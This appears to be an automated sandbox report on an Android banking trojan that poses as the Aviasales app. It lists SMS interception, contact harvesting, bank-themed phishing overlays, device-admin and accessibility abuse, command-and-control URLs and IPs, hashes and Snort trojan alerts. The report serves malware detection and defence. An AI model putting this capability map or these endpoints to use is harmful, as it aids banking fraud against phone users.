Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Monitors incoming Phone callsShow sources
Source: com.aviasalea.rcs.RestartServiceRegistered receiver: android.intent.action.PHONE_STATE
Monitors incoming SMSShow sources
Source: com.aviasalea.mess.service.receiver.SmsReceiverRegistered receiver: android.provider.Telephony.SMS_RECEIVED
Queries SMS dataShow sources
Source: com.aviasalea.srs.api.requests.RegistrationReportStep4Request;->getHttpParams:18API Call: android.net.Uri.parse("content://sms/inbox")
Source: com.aviasalea.srs.api.requests.RegistrationReportStep5Request;->getHttpParams:16API Call: android.net.Uri.parse("content://sms/sent")
Queries a list of installed applicationsShow sources
Source: com.aviasalea.checktls.CmndTls;->getAllInstalledApkInfo:21API Call: android.content.pm.PackageManager.queryIntentActivities
Queries email messagesShow sources
Source: com.aviasalea.checktls.CntctsTls;->doInBackground:52Field access: android.provider.ContactsContract$CommonDataKinds$Email.CONTENT_URI
Queries phone contact informationShow sources
Source: com.aviasalea.checktls.CmndTls$3;->run:19Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI
Source: com.aviasalea.checktls.CntctsTls;->doInBackground:61Field access: android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI

Remote Access Functionality:

barindex
Found parser code for incoming SMS (may be used to act on incoming SMS, BOT)Show sources
Source: com.aviasalea.mess.service.receiver.SmsReceiver;->onReceive:17API Call: java.lang.String.equals android.provider.Telephony.SMS_RECEIVED
Found suspicious command strings (may be related to BOT commands)Show sources
Source: Lcom/aviasalea/srs/CmndSrs;->sendSMSReportToServer(J)VMethod string: "send_sms"
Source: Lcom/aviasalea/srs/CmndSrs;->parseStartAccessEnd(Lcom/aviasalea/srs/api/responses/StatusResponse;)VInstruction: "lcom/aviasalea/srs/cmndsrs;->sendstartaccessendtoserver(j)v"
Source: Lcom/aviasalea/checktls/CmndTls;->getPhoneIMEINumber(Landroid/content/Context;)Ljava/lang/String;Instruction: "landroid/telephony/telephonymanager;->getimei()ljava/lang/string;"
Source: Lcom/aviasalea/srs/CmndSrs;->parseSendSmsStatusEnd(Lcom/aviasalea/srs/api/responses/StatusResponse;)VInstruction: "lcom/aviasalea/srs/cmndsrs;->sendsmsstatusendtoserver(j)v"
Source: Lcom/aviasalea/srs/CmndSrs;->sendSMSReportToServer(J)VInstruction: "const-string v3, "send_sms""

Antivirus and Machine Learning Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

android-buttoncam-android

Created / dropped Files

No created / dropped files found

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

NameMaliciousAntivirus DetectionReputation
http://185.212.128.192/1324273/report.phptrue
    unknown
    http://185.212.128.192/1324273/gate.php?ID=450785365059857103&screen=ontrue
      unknown
      http://185.212.128.192/favicon.icotrue
        unknown
        http://185.212.128.192/1324273/bee/avia/index1.php?ID=450785365059857103true
          unknown

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://185.212.128.192/1324273/librealtalk-jni.sotrue
            unknown
            http://185.212.128.192/1324273/bee/avia/index1.phplibrealtalk-jni.sofalse
              unknown
              http://185.212.128.192/1324273/gate.phpandroidtrue
                unknown
                http://185.212.128.192/1324273/bee/tin/index.phpandroidfalse
                  unknown
                  http://schemas.android.com/apk/res/androidnotification_template_icon_group.xml, service_conf.xml, payment_ic_visa.xml, ntivu.xml, notification_media_action.xml, keyboard_view.xml, notification_template_part_time.xml, payment_ic_amex.xml, AndroidManifest.xmlfalse
                    high
                    http://185.212.128.192/1324273/bee/homecredit/index.phpandroidfalse
                      unknown
                      http://185.212.128.192/1324273/bee/avia/index1.phpru.berbankmobilecom.android.settings.DeviceAdminAdlibrealtalk-jni.sofalse
                        unknown
                        http://185.212.128.192/1324273/bee/alfa/index.phpandroidfalse
                          unknown
                          http://185.212.128.192/1324273/bee/open/index.phpandroidfalse
                            unknown
                            http://185.212.128.192/1324273/bee/rus/index.phpandroidfalse
                              unknown
                              http://schemas.android.com/apk/res-autosber_login.xmlfalse
                                high
                                http://le22999a.pw/1324273/librealtalk-jni.sofalse
                                  unknown
                                  http://185.212.128.192/1324273/http://le22999a.pw/1324273/start_accessdisable_sdef_sms_cl_packagepsulibrealtalk-jni.sofalse
                                    unknown
                                    http://185.212.128.192/1324273/bee/vtb.phpandroidfalse
                                      unknown

                                      Contacted IPs

                                      • No. of IPs < 25%
                                      • 25% < No. of IPs < 50%
                                      • 50% < No. of IPs < 75%
                                      • 75% < No. of IPs

                                      Public

                                      IPCountryFlagASNASN NameMalicious
                                      74.125.140.188
                                      United States
                                      15169unknownfalse
                                      185.212.128.192
                                      Germany
                                      200313unknowntrue

                                      Static File Info

                                      General

                                      File type:Zip archive data
                                      Entropy (8bit):7.911695777595332
                                      TrID:
                                      • Android Package (19004/1) 46.91%
                                      • Java Archive (13504/1) 33.34%
                                      • ZIP compressed archive (8000/1) 19.75%
                                      File name:wBBPLjgyoW
                                      File size:1016370
                                      MD5:2f07c9b2a67104f8bc08d831c8922b6a
                                      SHA1:cf86dcb77ac80be3d68859ba4f247580e5b275f3
                                      SHA256:0497b6000a7a23e9e9b97472bc2d3799caf49cbbea1627ad4d87ae6e0b7e2a98
                                      SHA512:e4e31e63a4d63c549cd24220eb7b1e2b76ab8ba939950a1a98998d126ac3b601ece695abfa5cc55cb3635a7263f3b4bb018e48c8288ad5c1f315145a2eaa9507
                                      SSDEEP:24576:LXEewMD7mpTCObrFFE5xODZYiDBzqeAKyOOfbSvp2:rEZ5fnFF8uZYiDBzBfyOOfa2
                                      File Content Preview:PK..............,(.....4......AndroidManifest.xml..kl.......v.....8..8O..uB.....w'...]gg...a3...............!..jA ...H)...#.P%......~...J..h+......g's..S.?.>.......w.L.c...~.*X+.mdl..O.c..l.....l.....t=....h.d..A?.=.z...........+......m..A.A..2..h..+.E...

                                      File Icon

                                      Static APK Info

                                      General

                                      Label:Aviasales
                                      Minimum SDK required:14
                                      Target SDK required:19
                                      Version Code:1
                                      Version Name:1
                                      Package Name:com.aviasalea
                                      Is Activity:true
                                      Is Receiver:true
                                      Is Service:true
                                      Requests System Level Permissions:false
                                      Play Store Compatible:true

                                      Activities

                                      NameIs Entrypoint
                                      com.aviasaleacom.aviasalea.MainActivitytrue
                                      com.aviasaleacom.aviasalea.checkui.AdRequestDialog
                                      com.aviasaleacom.aviasalea.ds.StartDialog
                                      com.aviasaleacom.aviasalea.ds.AccOnDialog
                                      com.aviasaleacom.aviasalea.injs.g.GActivity
                                      com.aviasaleacom.aviasalea.checkui.ActOpenApp
                                      com.aviasaleacom.aviasalea.injs.s.SSplashActivity
                                      com.aviasaleacom.aviasalea.injs.s.SLogActivity
                                      com.aviasaleacom.aviasalea.injs.s.SRegActivity
                                      com.aviasaleacom.aviasalea.checkui.ComposeSActivity
                                      com.aviasaleacom.aviasalea.wb.WbActivity

                                      Receivers

                                      • com.aviasalea.mess.service.receiver.MmsReceiver
                                      • Intent: android.provider.Telephony.SMS_DELIVER
                                      • com.aviasalea.mess.service.receiver.PushSmsReceiver
                                      • Intent: android.provider.Telephony.WAP_PUSH_DELIVER
                                      • com.aviasalea.mess.service.receiver.SmsReceiver
                                      • Intent: android.provider.Telephony.SMS_RECEIVED (Priority 999)
                                      • com.aviasalea.rcs.AdReceiver
                                      • Intent: android.app.action.DEVICE_ADMIN_ENABLED
                                      • com.aviasalea.rcs.RestartService
                                      • Intent: RestartService, android.intent.action.BOOT_COMPLETED (Priority 100), android.intent.action.QUICKBOOT_POWERON (Priority 100), com.htc.intent.action.QUICKBOOT_POWERON (Priority 100), android.intent.action.USER_PRESENT (Priority 100), android.intent.action.PACKAGE_ADDED (Priority 100), android.intent.action.PACKAGE_REMOVED (Priority 100), android.provider.Telephony.SMS_RECEIVED (Priority 100), android.intent.action.PHONE_STATE (Priority 100), android.intent.action.NEW_OUTGOING_CALL (Priority 100), android.intent.action.ACTION_BATTERY_LOW (Priority 100), android.intent.action.ACTION_BATTERY_OKAY (Priority 100), android.intent.action.ACTION_POWER_CONNECTED (Priority 100), android.intent.action.ACTION_POWER_DISCONNECTED (Priority 100), android.intent.action.REBOOT (Priority 100)
                                      • com.aviasalea.srs.rcv.AlarmBroadCastReceiver

                                      Services

                                      • com.aviasalea.mess.service.HeadlessSmsSendService
                                      • Intent: android.intent.action.RESPOND_VIA_MESSAGE (Priority 0)
                                      • com.aviasalea.srs.CmndSrs
                                      • Intent: com.googleplay.srs.CmndSrs (Priority 0)
                                      • com.aviasalea.srs.GPSrs
                                      • Intent: android.accessibilityservice.AccessibilityService (Priority 0)
                                      • com.aviasalea.srs.StDlgSrs
                                      • Intent: com.googleplay.srs.StDlgSrs (Priority 0)
                                      • com.aviasalea.srs.newapi.CmndJobSchedulerSrs
                                      • Intent: com.googleplay.srs.CmndJobSchedulerSrc (Priority 0)

                                      Permission Requested

                                      • android.permission.ACCESS_NETWORK_STATE
                                      • android.permission.ACCESS_WIFI_STATE
                                      • android.permission.BIND_ACCESSIBILITY_SERVICE
                                      • android.permission.BIND_JOB_SERVICE
                                      • android.permission.CALL_PHONE
                                      • android.permission.CHANGE_NETWORK_STATE
                                      • android.permission.CHANGE_WIFI_STATE
                                      • android.permission.GET_TASKS
                                      • android.permission.INTERNET
                                      • android.permission.READ_PHONE_STATE
                                      • android.permission.READ_SMS
                                      • android.permission.REAL_GET_TASKS
                                      • android.permission.RECEIVE_BOOT_COMPLETED
                                      • android.permission.RECEIVE_SMS
                                      • android.permission.SEND_RESPOND_VIA_MESSAGE
                                      • android.permission.SEND_SMS
                                      • android.permission.SYSTEM_ALERT_WINDOW
                                      • android.permission.USES_POLICY_FORCE_LOCK
                                      • android.permission.VIBRATE
                                      • android.permission.WAKE_LOCK
                                      • android.permission.WRITE_SETTINGS

                                      Certificate

                                      Name:classes.dex
                                      Issuer:CN=alex martinenko
                                      Subject:CN=alex martinenko

                                      Resources

                                      NameTypeSize
                                      hiknhmi.pngPNG image, 60 x 60, 8-bit/color RGBA, non-interlaced2235
                                      notification_template_big_media_narrow.xmlDBase 3 data file (1760 records)1760
                                      android.arch.lifecycle_viewmodel.versionASCII text6
                                      notification_template_big_media.xmlDBase 3 data file (1440 records)1440
                                      vfxjkim.pngPNG image, 72 x 72, 8-bit gray+alpha, non-interlaced1029
                                      notification_template_big_media_narrow_custom.xmlDBase 3 data file (2808 records)2808
                                      ic_launcher.pngPNG image, 96 x 96, 8-bit/color RGBA, non-interlaced7100
                                      popup_fixed_alert.9.pngPNG image, 128 x 64, 8-bit gray+alpha, non-interlaced1309
                                      sber_login.xmlDBase 3 data file (3716 records)3716
                                      payment_ic_amex.pngPNG image, 128 x 128, 8-bit colormap, non-interlaced1058
                                      android.arch.lifecycle_runtime.versionASCII text6
                                      ic_sber_base.pngPNG image, 96 x 96, 8-bit/color RGBA, non-interlaced4563
                                      activity_main.xmlDBase 3 data file (504 records)504
                                      notification_icon_background.xmlDBase 3 data file (312 records)312
                                      vwscfg.pngPNG image, 72 x 72, 8-bit colormap, non-interlaced654
                                      notification_template_custom_big.xmlDBase 3 data file (3148 records)3148
                                      notification_bg.xmlDBase 3 data file (472 records)472
                                      popup_fixed_alert.9.pngPNG image, 64 x 32, 8-bit gray+alpha, non-interlaced694
                                      notification_bg_low_normal.9.pngPNG image, 16 x 16, 8-bit grayscale, non-interlaced221
                                      ic_back.pngPNG image, 24 x 24, 8-bit/color RGBA, non-interlaced169
                                      notify_panel_notification_icon_bg.pngPNG image, 15 x 15, 8-bit/color RGB, non-interlaced98
                                      hiknhmi.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced2108
                                      notification_template_part_chronometer.xmlDBase 3 data file (380 records)380
                                      popup_fixed_top.9.pngPNG image, 128 x 64, 8-bit gray+alpha, non-interlaced504
                                      ic_warning.pngPNG image, 36 x 36, 8-bit gray+alpha, non-interlaced370
                                      classes.dexDalvik dex file version 0352131848
                                      ic_warning.pngPNG image, 72 x 72, 8-bit/color RGBA, non-interlaced587
                                      notification_tile_bg.xmlDBase 3 data file (240 records)240
                                      notification_action_background.xmlDBase 3 data file (1068 records)1068
                                      ic_alarm_on.pngPNG image, 48 x 48, 8-bit gray+alpha, non-interlaced392
                                      notification_action.xmlDBase 3 data file (1032 records)1032
                                      hiknhmi.pngPNG image, 150 x 150, 8-bit/color RGBA, non-interlaced11130
                                      librealtalk-jni.soELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped26132
                                      notification_bg_normal.9.pngPNG image, 12 x 12, 8-bit grayscale, non-interlaced212
                                      bjqts.pngPNG image, 252 x 72, 8-bit/color RGBA, non-interlaced6955
                                      CERT.RSAdata1116
                                      payment_ic_master_card.xmlDBase 3 data file (1236 records)1236
                                      ic_warning.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced430
                                      android.arch.core_runtime.versionASCII text6
                                      ic_back.pngPNG image, 72 x 72, 8-bit gray+alpha, non-interlaced349
                                      librealtalk-jni.soELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped26068
                                      notification_template_big_media_custom.xmlDBase 3 data file (2700 records)2700
                                      zfnayzo.gifGIF image data, version 89a, 49 x 301161
                                      com.android.support_support-core-ui.versionASCII text7
                                      notification_action_tombstone.xmlDBase 3 data file (1168 records)1168
                                      sber_register.xmlDBase 3 data file (4792 records)4792
                                      hiknhmi.pngPNG image, 120 x 120, 8-bit/color RGBA, non-interlaced6652
                                      vwscfg.pngPNG image, 36 x 36, 8-bit/color RGBA, non-interlaced765
                                      notification_template_lines_media.xmlDBase 3 data file (2812 records)2812
                                      notification_bg_normal.9.pngPNG image, 16 x 16, 8-bit grayscale, non-interlaced221
                                      master.pngPNG image, 128 x 80, 8-bit/color RGBA, non-interlaced3553
                                      resources.arscdata51048
                                      notification_bg_normal_pressed.9.pngPNG image, 12 x 12, 8-bit/color RGB, non-interlaced225
                                      CERT.SFASCII text, with CRLF line terminators15126
                                      sber_register.xmlDBase 3 data file (5308 records)5308
                                      notification_bg_low_pressed.9.pngPNG image, 8 x 8, 8-bit/color RGB, non-interlaced223
                                      notification_template_big_media_narrow_custom.xmlDBase 3 data file (3152 records)3152
                                      g_et_bottom_border.xmlDBase 3 data file (844 records)844
                                      vis.pngPNG image, 128 x 80, 8-bit colormap, non-interlaced1707
                                      notification_action_tombstone.xmlDBase 3 data file (1204 records)1204
                                      notification_template_icon_group.xmlDBase 3 data file (332 records)332
                                      ic_sber_base.pngPNG image, 144 x 144, 8-bit/color RGBA, non-interlaced7236
                                      notification_bg_low_pressed.9.pngPNG image, 12 x 12, 8-bit/color RGB, non-interlaced225
                                      gp.xmlDBase 3 data file (6000 records)6000
                                      librealtalk-jni.soELF 64-bit LSB shared object, version 1 (SYSV), dynamically linked, stripped30552
                                      notification_action_tombstone.xmlDBase 3 data file (1268 records)1268
                                      notification_bg_low_pressed.9.pngPNG image, 16 x 16, 8-bit/color RGB, non-interlaced252
                                      notification_template_icon_group.xmlDBase 3 data file (928 records)928
                                      service_conf.xmlDBase 3 data file (396 records)396
                                      header_shadow.pngPNG image, 6 x 9, 8-bit gray+alpha, non-interlaced95
                                      payment_ic_visa.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced813
                                      payment_ic_visa.xmlDBase 3 data file (1908 records)1908
                                      header_shadow_reverse.pngPNG image, 4 x 6, 8-bit gray+alpha, non-interlaced87
                                      notification_action.xmlDBase 3 data file (1092 records)1092
                                      ic_sber_base.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced2230
                                      payment_ic_visa.pngPNG image, 32 x 32, 8-bit/color RGBA, non-interlaced546
                                      ic_back.pngPNG image, 48 x 48, 8-bit gray+alpha, non-interlaced223
                                      popup_fixed_top.9.pngPNG image, 64 x 32, 8-bit gray+alpha, non-interlaced351
                                      hiknhmi.pngPNG image, 75 x 75, 8-bit/color RGBA, non-interlaced3863
                                      notify_panel_notification_icon_bg.pngPNG image, 14 x 14, 8-bit/color RGB, non-interlaced107
                                      payment_ic_master_card.pngPNG image, 96 x 96, 8-bit colormap, non-interlaced1394
                                      notification_template_big_media_custom.xmlDBase 3 data file (2980 records)2980
                                      payment_ic_amex.pngPNG image, 96 x 96, 8-bit colormap, non-interlaced904
                                      ntivu.xmlDBase 3 data file (732 records)732
                                      payment_ic_visa.pngPNG image, 128 x 128, 8-bit colormap, non-interlaced1473
                                      payment_ic_visa.pngPNG image, 64 x 64, 8-bit colormap, non-interlaced857
                                      android.arch.lifecycle_livedata-core.versionASCII text6
                                      notification_media_action.xmlDBase 3 data file (504 records)504
                                      header_shadow_reverse.pngPNG image, 3 x 5, 8-bit gray+alpha, non-interlaced90
                                      payment_ic_amex.pngPNG image, 24 x 24, 8-bit/color RGBA, non-interlaced440
                                      notification_bg_low.xmlDBase 3 data file (472 records)472
                                      vwscfg.pngPNG image, 108 x 108, 8-bit colormap, non-interlaced968
                                      ic_warning.pngPNG image, 24 x 24, 8-bit gray+alpha, non-interlaced264
                                      payment_ic_master_card.pngPNG image, 24 x 24, 8-bit/color RGBA, non-interlaced439
                                      ic_sber_base.pngPNG image, 72 x 72, 8-bit/color RGBA, non-interlaced3589
                                      header_shadow.pngPNG image, 2 x 3, 8-bit gray+alpha, non-interlaced80
                                      notification_template_media.xmlDBase 3 data file (1136 records)1136
                                      payment_ic_master_card.pngPNG image, 128 x 128, 8-bit colormap, non-interlaced1730
                                      vfxjkim.pngPNG image, 54 x 54, 8-bit gray+alpha, non-interlaced773
                                      ic_launcher.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced2674
                                      notification_bg_normal_pressed.9.pngPNG image, 16 x 16, 8-bit/color RGB, non-interlaced247
                                      popup_fixed_top.9.pngPNG image, 96 x 48, 8-bit gray+alpha, non-interlaced413
                                      com.android.support_support-v4.versionASCII text7
                                      keyboard_view.xmlDBase 3 data file (7764 records)7764
                                      popup_fixed_top.9.pngPNG image, 192 x 96, 8-bit gray+alpha, non-interlaced691
                                      ic_warning.pngPNG image, 96 x 96, 8-bit/color RGBA, non-interlaced762
                                      popup_fixed_alert.9.pngPNG image, 192 x 96, 8-bit gray+alpha, non-interlaced1941
                                      bjqts.pngPNG image, 378 x 108, 8-bit/color RGBA, non-interlaced10482
                                      notification_template_lines_media.xmlDBase 3 data file (2596 records)2596
                                      bjqts.pngPNG image, 189 x 54, 8-bit/color RGBA, non-interlaced5258
                                      notification_bg_low_normal.9.pngPNG image, 8 x 8, 8-bit grayscale, non-interlaced215
                                      MANIFEST.MFASCII text, with CRLF line terminators15083
                                      vwscfg.pngPNG image, 54 x 54, 8-bit/color RGBA, non-interlaced1188
                                      header_shadow.pngPNG image, 3 x 5, 8-bit gray+alpha, non-interlaced92
                                      notify_panel_notification_icon_bg.pngPNG image, 30 x 30, 8-bit/color RGB, non-interlaced138
                                      vfxjkim.pngPNG image, 36 x 36, 8-bit gray+alpha, non-interlaced518
                                      notification_action.xmlDBase 3 data file (992 records)992
                                      header_shadow_reverse.pngPNG image, 6 x 9, 8-bit gray+alpha, non-interlaced91
                                      librealtalk-jni.soELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped30816
                                      admin_conf.xmlDBase 3 data file (528 records)528
                                      header_shadow_reverse.pngPNG image, 2 x 3, 8-bit gray+alpha, non-interlaced80
                                      payment_ic_master_card.pngPNG image, 32 x 32, 8-bit/color RGBA, non-interlaced535
                                      com.android.support_support-media-compat.versionASCII text7
                                      notification_bg_low_normal.9.pngPNG image, 12 x 12, 8-bit grayscale, non-interlaced212
                                      qtnpxpyc.pngPNG image, 545 x 155, 8-bit/color RGBA, non-interlaced11824
                                      notification_template_big_media.xmlDBase 3 data file (1636 records)1636
                                      notification_template_media.xmlDBase 3 data file (1228 records)1228
                                      notification_template_media_custom.xmlDBase 3 data file (2464 records)2464
                                      qtnpxpyc.pngPNG image, 818 x 233, 8-bit/color RGBA, non-interlaced18695
                                      notification_template_big_media_narrow.xmlDBase 3 data file (1504 records)1504
                                      sber_splash.xmlDBase 3 data file (1208 records)1208
                                      com.android.support_support-fragment.versionASCII text7
                                      payment_ic_master_card.pngPNG image, 64 x 64, 8-bit colormap, non-interlaced951
                                      com.android.support_support-compat.versionASCII text7
                                      notification_bg_normal_pressed.9.pngPNG image, 8 x 8, 8-bit/color RGB, non-interlaced223
                                      popup_fixed_alert.9.pngPNG image, 96 x 48, 8-bit gray+alpha, non-interlaced1018
                                      notification_template_part_time.xmlDBase 3 data file (380 records)380
                                      vfxjkim.pngPNG image, 108 x 108, 8-bit colormap, non-interlaced958
                                      com.android.support_support-core-utils.versionASCII text7
                                      notification_template_custom_big.xmlDBase 3 data file (1984 records)1984
                                      gp.xmlDBase 3 data file (6208 records)6208
                                      amex.pngPNG image, 128 x 80, 8-bit colormap, non-interlaced2381
                                      payment_ic_amex.xmlDBase 3 data file (1476 records)1476
                                      notification_template_custom_big.xmlDBase 3 data file (2396 records)2396
                                      ic_launcher.pngPNG image, 72 x 72, 8-bit/color RGBA, non-interlaced4569
                                      notification_media_cancel_action.xmlDBase 3 data file (580 records)580
                                      s_et_bottom_border.xmlDBase 3 data file (844 records)844
                                      notification_template_custom_big.xmlDBase 3 data file (2952 records)2952
                                      payment_ic_master_card.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced820
                                      payment_ic_amex.pngPNG image, 48 x 48, 8-bit/color RGBA, non-interlaced706
                                      payment_ic_visa.pngPNG image, 96 x 96, 8-bit colormap, non-interlaced1210
                                      notification_template_media_custom.xmlDBase 3 data file (2696 records)2696
                                      notification_bg_normal.9.pngPNG image, 8 x 8, 8-bit grayscale, non-interlaced215
                                      qtnpxpyc.pngPNG image, 409 x 117, 8-bit/color RGBA, non-interlaced8459
                                      bjqts.pngPNG image, 126 x 36, 8-bit/color RGBA, non-interlaced3617
                                      payment_ic_amex.pngPNG image, 64 x 64, 8-bit colormap, non-interlaced656
                                      ic_launcher.pngPNG image, 144 x 144, 8-bit/color RGBA, non-interlaced12290
                                      payment_ic_amex.pngPNG image, 32 x 32, 8-bit/color RGBA, non-interlaced415
                                      sber_login.xmlDBase 3 data file (3316 records)3316
                                      header_shadow.pngPNG image, 4 x 6, 8-bit gray+alpha, non-interlaced92
                                      AndroidManifest.xmlDBase 3 data file (13484 records)13484
                                      ic_back.pngPNG image, 36 x 36, 8-bit/color RGBA, non-interlaced210
                                      payment_ic_visa.pngPNG image, 24 x 24, 8-bit/color RGBA, non-interlaced442

                                      Network Behavior

                                      Snort IDS Alerts

                                      TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                      06/25/19-16:40:53.772596TCP2022986ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad3904280192.168.1.92185.212.128.192
                                      06/25/19-16:41:47.997442TCP2022986ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad3904880192.168.1.92185.212.128.192
                                      06/25/19-16:43:03.298467TCP2022986ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad3905480192.168.1.92185.212.128.192
                                      06/25/19-16:43:15.202087TCP2022986ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad3905880192.168.1.92185.212.128.192
                                      06/25/19-16:43:46.639921TCP2022986ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad3906080192.168.1.92185.212.128.192
                                      06/25/19-16:43:53.419225TCP2022986ET TROJAN Likely Zbot Generic Request to gate.php Dotted-Quad3906280192.168.1.92185.212.128.192

                                      Network Port Distribution

                                      TCP Packets

                                      TimestampSource PortDest PortSource IPDest IP
                                      Jun 25, 2019 16:40:26.372836113 MESZ562145228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:40:26.399461031 MESZ52285621474.125.140.188192.168.1.92
                                      Jun 25, 2019 16:40:26.404485941 MESZ562145228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:40:26.405605078 MESZ562145228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:40:26.431545019 MESZ52285621474.125.140.188192.168.1.92
                                      Jun 25, 2019 16:40:26.431684971 MESZ52285621474.125.140.188192.168.1.92
                                      Jun 25, 2019 16:40:26.436460972 MESZ52285621474.125.140.188192.168.1.92
                                      Jun 25, 2019 16:40:26.436508894 MESZ52285621474.125.140.188192.168.1.92
                                      Jun 25, 2019 16:40:26.440475941 MESZ562145228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:40:26.448409081 MESZ562145228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:40:26.448988914 MESZ562145228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:40:50.671689034 MESZ3904080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:40:50.700934887 MESZ8039040185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:40:50.701071024 MESZ3904080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:40:50.702888966 MESZ3904080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:40:50.731031895 MESZ8039040185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:40:50.731200933 MESZ8039040185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:40:50.731264114 MESZ3904080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:40:51.336713076 MESZ3904080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:40:51.365338087 MESZ8039040185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:40:51.365425110 MESZ3904080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:40:53.738631010 MESZ3904280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:40:53.767465115 MESZ8039042185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:40:53.767719030 MESZ3904280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:40:53.772595882 MESZ3904280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:40:53.801573992 MESZ8039042185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:40:53.801636934 MESZ8039042185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:40:53.801820040 MESZ3904280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:40:56.308284044 MESZ8039040185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:40:56.352530956 MESZ3904080192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:40:58.712280035 MESZ8039042185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:40:58.752304077 MESZ3904280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:41:06.471839905 MESZ562265228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:41:06.498018026 MESZ52285622674.125.140.188192.168.1.92
                                      Jun 25, 2019 16:41:06.498104095 MESZ562265228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:41:06.499011993 MESZ562265228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:41:06.525366068 MESZ52285622674.125.140.188192.168.1.92
                                      Jun 25, 2019 16:41:06.525403976 MESZ52285622674.125.140.188192.168.1.92
                                      Jun 25, 2019 16:41:06.525430918 MESZ52285622674.125.140.188192.168.1.92
                                      Jun 25, 2019 16:41:06.525454044 MESZ52285622674.125.140.188192.168.1.92
                                      Jun 25, 2019 16:41:06.525465965 MESZ562265228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:41:06.525631905 MESZ562265228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:41:06.554984093 MESZ562265228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:41:06.555403948 MESZ562265228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:41:06.581262112 MESZ52285622674.125.140.188192.168.1.92
                                      Jun 25, 2019 16:41:06.581491947 MESZ562265228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:41:13.217879057 MESZ3904280192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:41:13.246617079 MESZ8039042185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:41:47.960829973 MESZ3904880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:41:47.991112947 MESZ8039048185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:41:47.991569996 MESZ3904880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:41:47.997442007 MESZ3904880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:41:48.028378010 MESZ8039048185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:41:48.028534889 MESZ8039048185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:41:48.029010057 MESZ3904880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:41:52.935376883 MESZ8039048185.212.128.192192.168.1.92
                                      Jun 25, 2019 16:41:52.976376057 MESZ3904880192.168.1.92185.212.128.192
                                      Jun 25, 2019 16:42:26.563906908 MESZ562325228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:42:26.601936102 MESZ52285623274.125.140.188192.168.1.92
                                      Jun 25, 2019 16:42:26.602257013 MESZ562325228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:42:26.603255033 MESZ562325228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:42:26.629038095 MESZ52285623274.125.140.188192.168.1.92
                                      Jun 25, 2019 16:42:26.629348040 MESZ52285623274.125.140.188192.168.1.92
                                      Jun 25, 2019 16:42:26.629370928 MESZ52285623274.125.140.188192.168.1.92
                                      Jun 25, 2019 16:42:26.629406929 MESZ52285623274.125.140.188192.168.1.92
                                      Jun 25, 2019 16:42:26.629476070 MESZ562325228192.168.1.9274.125.140.188
                                      Jun 25, 2019 16:42:26.634960890 MESZ562325228192.168.1.9274.125.140.188
